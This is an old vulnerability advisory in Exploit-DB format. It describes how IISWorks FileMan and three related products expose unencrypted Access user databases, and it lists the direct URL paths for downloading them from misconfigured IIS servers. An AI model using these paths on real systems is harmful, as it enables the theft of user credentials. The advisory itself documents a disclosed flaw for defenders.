48 lines
No EOL
1.4 KiB
Text
48 lines
No EOL
1.4 KiB
Text
# Exploit Title: IISWorks FileMan fileman.mdb Remote User Database
|
|
Disclosure
|
|
# Disclosure Date: July 5, 2005
|
|
# Author: Known Vulnerability
|
|
# Software Link: http://www.scriptdungeon.com/scripts/asp/FileManASP.rar
|
|
# Version:
|
|
# OSVDB: 17824
|
|
# Security Tracker ID: 1014383
|
|
# Found exploited in the wild by: Joey Furr (j0fer), Exploit-DB team
|
|
# On: May 10, 2010
|
|
# Found on: Windows Server 2003 Service Pack 2 version 5.2.3790
|
|
|
|
|
|
[+] Description
|
|
IISWorks FileMan is an .asp-based web interface meant to simplify the
|
|
process of uploading, downloading, and otherwise managing files on a
|
|
server.
|
|
The script uses an unencrypted Microsoft Access database file for user
|
|
and
|
|
permissions administration.
|
|
|
|
* If 'Read' permissions are not revoked in IIS on the /Database folder,
|
|
the user
|
|
db will be directly downloadable. The FileMan diags.asp installation
|
|
verification
|
|
script does not check for this permission setting.
|
|
|
|
[+] Usage
|
|
|
|
http://[Target]/fileman/Database/fileman.mdb
|
|
|
|
or
|
|
|
|
http://[Target]/[InstallDir]/Database/fileman.mdb
|
|
|
|
[+] Other Products from the same vendor with the same vulnerability
|
|
|
|
IISWorks ListPics listpics.mdb Remote User Database Disclosure
|
|
|
|
http://[target]/gallery/Database/listpics.mdb
|
|
|
|
IISWorks ASPKnowledgeBase kb.mdb Remote User Database Disclosure
|
|
|
|
http://[target]/KB/Databse/kb.mdb
|
|
|
|
IISWorks ASPWebMail Webmail.mdb Remote User Database Disclosure
|
|
|
|
http://[target]/Webmail/Database/Webmail.mdb |